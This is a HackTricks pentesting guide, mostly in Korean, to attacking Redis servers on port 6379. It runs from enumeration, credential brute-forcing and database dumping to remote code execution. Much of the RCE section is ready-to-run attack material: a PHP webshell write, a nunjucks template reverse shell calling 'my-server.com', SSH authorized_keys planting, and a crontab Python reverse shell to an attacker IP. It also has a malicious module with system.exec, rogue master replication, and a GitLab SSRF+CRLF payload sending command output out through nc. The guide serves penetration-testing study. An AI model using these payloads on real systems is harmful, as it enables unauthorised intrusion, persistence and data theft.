hacktricks/network-services-pentesting/6379-pentesting-redis.md

342 lines
20 KiB
Markdown

# 6379 - Pentesting Redis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**Real-Time Hack News**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**Latest Announcements**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 최신 정보를 유지하세요.
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
From [the docs](https://redis.io/topics/introduction): Redis는 오픈 소스(BSD 라이센스) 인메모리 **데이터 구조 저장소**로, **데이터베이스**, 캐시 및 메시지 브로커로 사용됩니다.
기본적으로 Redis는 일반 텍스트 기반 프로토콜을 사용하지만, **ssl/tls**를 구현할 수도 있다는 점을 염두에 두어야 합니다. [여기에서 ssl/tls로 Redis를 실행하는 방법을 배우세요](https://fossies.org/linux/redis/TLS.md).
**Default port:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## 자동 열거
Redis 인스턴스에서 정보를 얻는 데 도움이 되는 몇 가지 자동화 도구:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## 수동 열거
### 배너
Redis는 **텍스트 기반 프로토콜**입니다. 소켓에 **명령을 전송**하면 반환된 값이 읽을 수 있습니다. 또한 Redis는 **ssl/tls**를 사용하여 실행될 수 있다는 점을 기억하세요(하지만 이는 매우 이상합니다).
일반 Redis 인스턴스에서는 `nc`를 사용하여 연결하거나 `redis-cli`를 사용할 수도 있습니다:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
첫 번째 명령어로 시도할 수 있는 것은 **`info`**입니다. 이는 Redis 인스턴스에 대한 정보가 포함된 출력을 반환할 수 있습니다 **또는 다음과 같은 것이 반환됩니다:**
```
-NOAUTH Authentication required.
```
In this last case, this means that **you need valid credentials** to access the Redis instance.
### Redis Authentication
**기본적으로** Redis는 **자격 증명 없이** 접근할 수 있습니다. 그러나 **비밀번호만 또는 사용자 이름 + 비밀번호**를 지원하도록 **구성**할 수 있습니다.\
`requirepass` 매개변수를 사용하여 _**redis.conf**_ 파일에 **비밀번호를 설정**할 수 있으며, 서비스가 재시작될 때까지 **임시**로 설정할 수 있습니다. 연결한 후 다음을 실행합니다: `config set requirepass p@ss$12E45`.\
또한, _**redis.conf**_ 파일의 `masteruser` 매개변수에서 **사용자 이름**을 구성할 수 있습니다.
{% hint style="info" %}
비밀번호만 구성된 경우 사용되는 사용자 이름은 "**default**"입니다.\
또한, Redis가 비밀번호만 또는 사용자 이름 + 비밀번호로 구성되었는지 **외부에서 확인할 방법이 없습니다**.
{% endhint %}
In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) it.\
**유효한 자격 증명을 찾은 경우 연결을 설정한 후 세션을 인증해야 합니다** 다음 명령어로:
```bash
AUTH <username> <password>
```
**유효한 자격 증명**은 다음과 같이 응답됩니다: `+OK`
### **인증된 열거**
Redis 서버가 **익명 연결**을 허용하거나 유효한 자격 증명을 얻은 경우, 다음 **명령어**를 사용하여 서비스의 열거 프로세스를 시작할 수 있습니다:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**다른 Redis 명령어** [**여기에서 찾을 수 있습니다**](https://redis.io/topics/data-types-intro) **그리고** [**여기에서**](https://lzone.de/cheat-sheet/Redis)**.**
인스턴스의 **Redis 명령어는** _redis.conf_ 파일에서 이름을 변경하거나 제거할 수 있습니다. 예를 들어 이 줄은 FLUSHDB 명령어를 제거합니다:
```
rename-command FLUSHDB ""
```
More about configuring securely a Redis service here: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
You can also **모니터링할 수 있습니다 실시간으로 Redis 명령어** executed with the command **`monitor`** or get the top **25 느린 쿼리** with **`slowlog get 25`**
Find more interesting information about more Redis commands here: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Dumping Database**
Inside Redis the **데이터베이스는 0부터 시작하는 숫자입니다**. You can find if anyone is used in the output of the command `info` inside the "Keyspace" chunk:
![](<../.gitbook/assets/image (766).png>)
Or you can just get all the **키스페이스** (databases) with:
```
INFO keyspace
```
그 예제에서는 **데이터베이스 0과 1**이 사용되고 있습니다. **데이터베이스 0에는 4개의 키가 있고 데이터베이스 1에는 1개가 있습니다**. 기본적으로 Redis는 데이터베이스 0을 사용합니다. 예를 들어 데이터베이스 1을 덤프하려면 다음을 수행해야 합니다:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
`GET <KEY>`를 실행하는 동안 `-WRONGTYPE Operation against a key holding the wrong kind of value`라는 오류가 발생하면, 이는 키가 문자열이나 정수가 아닌 다른 유형일 수 있으며, 이를 표시하기 위해 특별한 연산자가 필요하기 때문입니다.
키의 유형을 확인하려면 `TYPE` 명령을 사용하세요. 아래는 리스트 및 해시 키에 대한 예입니다.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
```
**npm으로 데이터베이스 덤프하기** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **또는 python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지사항**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 저희와 함께하고 최고의 해커들과 협업을 시작하세요!
## Redis RCE
### 인터랙티브 셸
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server)는 Redis(<=5.0.5)에서 자동으로 인터랙티브 셸 또는 리버스 셸을 얻을 수 있습니다.
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
[**여기**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)에서 정보. **웹 사이트 폴더**의 **경로**를 알아야 합니다:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
​웹쉘 접근 예외가 발생하면, 백업 후 데이터베이스를 비우고 다시 시도할 수 있으며, 데이터베이스를 복원하는 것을 잊지 마십시오.
### 템플릿 웹쉘
이전 섹션과 마찬가지로 템플릿 엔진에 의해 해석될 일부 HTML 템플릿 파일을 덮어쓰고 쉘을 얻을 수 있습니다.
예를 들어, [**이 글**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)을 따르면, 공격자가 **nunjucks 템플릿 엔진**에 의해 해석된 **HTML에 rev shell을 주입한** 것을 볼 수 있습니다.
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
다수의 템플릿 엔진이 템플릿을 메모리에 캐시하므로, 이를 덮어쓰더라도 새로운 템플릿이 실행되지 않을 수 있습니다. 이 경우, 개발자가 자동 재로드를 활성화한 상태이거나 서비스에 대해 DoS를 수행해야 하며 (자동으로 재시작될 것으로 예상해야 함) 주의해야 합니다.
{% endhint %}
### SSH
예시 [여기서](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) 확인하세요.
**`config get dir`** 결과는 다른 수동 익스플로잇 명령어 후에 변경될 수 있습니다. Redis에 로그인한 직후에 이를 먼저 실행하는 것이 좋습니다. **`config get dir`**의 출력에서 **redis 사용자**의 **home**을 찾을 수 있습니다 (보통 _/var/lib/redis_ 또는 _/home/redis/.ssh_). 이를 알면 `authenticated_users` 파일을 작성하여 **redis 사용자**로 ssh에 접근할 수 있는 위치를 알게 됩니다. 쓰기 권한이 있는 다른 유효한 사용자의 home을 알고 있다면 이를 악용할 수도 있습니다:
1. PC에서 ssh 공개-개인 키 쌍을 생성합니다: **`ssh-keygen -t rsa`**
2. 공개 키를 파일에 작성합니다: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. 파일을 Redis에 가져옵니다: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Redis 서버의 **authorized\_keys** 파일에 공개 키를 저장합니다:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. 마지막으로, 개인 키로 **redis 서버**에 **ssh**로 접속할 수 있습니다: **ssh -i id\_rsa redis@10.85.0.52**
**이 기술은 여기에서 자동화되어 있습니다:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
The last example is for Ubuntu, for **Centos**, the above command should be: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
이 방법은 비트코인을 얻는 데에도 사용할 수 있습니다: [yam](https://www.v2ex.com/t/286981#reply14)
### Load Redis Module
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)의 지침을 따르면 **임의의 명령을 실행하기 위해 redis 모듈을 컴파일**할 수 있습니다.
2. 그런 다음 **컴파일된** 모듈을 **업로드할 방법**이 필요합니다.
3. `MODULE LOAD /path/to/mymodule.so`로 런타임에 **업로드된 모듈을 로드**합니다.
4. `MODULE LIST`로 **로드된 모듈을 나열**하여 올바르게 로드되었는지 확인합니다.
5. **명령을 실행**합니다:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. 원할 때마다 모듈을 언로드합니다: `MODULE UNLOAD mymodule`
### LUA sandbox bypass
[**여기**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)에서 Redis가 **EVAL** 명령을 사용하여 **Lua 코드를 샌드박스화하여 실행**하는 것을 볼 수 있습니다. 링크된 게시물에서 **dofile** 함수를 사용하여 **악용하는 방법**을 볼 수 있지만, [명백히](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) 더 이상 가능하지 않은 것 같습니다. 어쨌든, **Lua** 샌드박스를 **우회**할 수 있다면 시스템에서 **임의의** 명령을 **실행**할 수 있습니다. 또한, 같은 게시물에서 **DoS를 유발할 수 있는 몇 가지 옵션**을 볼 수 있습니다.
**LUA에서 탈출하기 위한 CVE**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Master-Slave Module
마스터 redis의 모든 작업은 자동으로 슬레이브 redis에 동기화되므로, 취약한 redis를 슬레이브 redis로 간주할 수 있으며, 이는 우리가 제어하는 마스터 redis에 연결되어 있습니다. 그런 다음 자신의 redis에 명령을 입력할 수 있습니다.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF talking to Redis
만약 **Redis**에 **일반 텍스트** 요청을 보낼 수 있다면, **그와 통신할 수** 있습니다. Redis는 요청을 한 줄씩 읽고 이해하지 못하는 줄에 대해서는 오류로 응답할 것입니다:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
따라서, 웹사이트에서 **SSRF vuln**을 발견하고 일부 **headers**(아마도 CRLF vuln으로) 또는 **POST parameters**를 **제어**할 수 있다면, 임의의 명령을 Redis에 보낼 수 있습니다.
### 예시: Gitlab SSRF + CRLF to Shell
**Gitlab11.4.7**에서 **SSRF** 취약점과 **CRLF**가 발견되었습니다. **SSRF** 취약점은 새 프로젝트를 생성할 때 **URL에서 프로젝트 가져오기 기능**에 있었으며, \[0:0:0:0:0:ffff:127.0.0.1] 형식의 임의 IP에 접근할 수 있게 해주었습니다(이는 127.0.0.1에 접근합니다). 그리고 **CRLF** vuln은 **URL**에 **%0D%0A** 문자를 추가하여 악용되었습니다.
따라서, **이 취약점을 악용하여 Redis 인스턴스와 통신**하고 **gitlab**의 **큐를 관리**하는 큐를 악용하여 **코드 실행을 얻는 것이 가능**했습니다. Redis 큐 악용 페이로드는:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
그리고 **URL encode** 요청 **SSRF** 및 **CRLF**를 악용하여 `whoami`를 실행하고 출력을 `nc`를 통해 반환하는 것은:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_어떤 이유로 (이 정보가 가져온_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _의 저자에 따르면) `git` 스킴으로는 익스플로잇이 작동했지만 `http` 스킴으로는 작동하지 않았습니다._
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지사항**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
</details>
{% endhint %}